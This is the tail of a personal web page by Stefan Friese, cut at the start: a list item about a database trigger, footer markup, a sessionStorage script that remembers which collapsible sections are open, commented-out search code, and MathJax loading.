<li>Trigger the trigger by visiting the site which triggers the trigger through a db call</li>
</ul>
</span>
</div>
</div>
<div id="footer">
<p></p>
<center>
&copy; Stefan Friese
</center>
</div>
<script>
function linkClick(obj) {
if (obj.open) {
console.log('open');
if (sessionStorage.getItem(obj.id) && !(sessionStorage.getItem(obj.id) === "open")) {
sessionStorage.removeItem(obj.id);
}
sessionStorage.setItem(obj.id,"open");
console.log(obj.id);
} else {
console.log('closed');
sessionStorage.removeItem(obj.id);
}
// if (obj.open) {
// console.log('open');
// if (sessionStorage.getItem("opened") && !(sessionStorage.getItem("opened") === obj.id)) {
// sessionStorage.removeItem("opened");
// }
// sessionStorage.setItem("opened", obj.id);
// console.log(obj);
// } else {
// console.log('closed');
// sessionStorage.removeItem("opened");
//
// }
}
//if ( sessionStorage.getItem("opened")) {
// var item = sessionStorage.getItem("opened")
// document.getElementById(item)['open'] = 'open';
//}
let _keys = Object.keys(sessionStorage);
if (_keys) {
for ( let i = 0; i < _keys.length; i++ ) {
document.getElementById(_keys[i])['open'] = 'open';
}
}
// const detailsElement = document.querySelector('.details-sidebar');
// detailsElement.addEventListener('toggle', event => {
// if (event.target.open) {
// console.log('open');
// if (sessionStorage.getItem("opened") && !(sessionStorage.getItem("opened") === detailsElement.id)) {
// sessionStorage.removeItem("opened");
// }
// sessionStorage.setItem("opened", detailsElement.id);
// console.log(detailsElement);
//
// } else {
// console.log('closed');
// sessionStorage.removeItem("opened");
//
// }
// });
//
// async function fetchIndexJSON() {
// const response = await fetch('/index.json');
// const index = await response.json();
// return index;
// }
// // Extract the `q` query parameter
//var queryStringRegex = /[\?&]q=([^&]+)/g;
//var matches = queryStringRegex.exec(window.location.search);
//if(matches && matches[1]) {
// var value = decodeURIComponent(matches[1].replace(/\+/g, '%20'));
//
//
// // fetchIndexJSON()
// // .then(index => { console.log(index['index']);});
// // Load the posts to search
// fetch('/index').then(function(posts) {
// // Remember to include Fuse.js before this script.
//
// var fuse = new Fuse(posts, {
// keys: ['title', 'tags', 'content'] // What we're searching
// });
//
// // Run the search
// var results = fuse.search(value);
// //console.log(results);
//
// // Generate markup for the posts, implement SearchResults however you want.
// // var $results = SearchResults(results);
//
// // Add the element to the empty <div> from before.
//// $('#searchResults').append($results);
// });
//}
</script>
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@2/MathJax.js"></script>
<script src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type="text/javascript"></script>
</script>
<script type="text/x-mathjax-config">
MathJax.Hub.Config({
config: ["MMLorHTML.js"],
jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"],
extensions: ["MathMenu.js", "MathZoom.js"]
});
</script>
</body>
</html>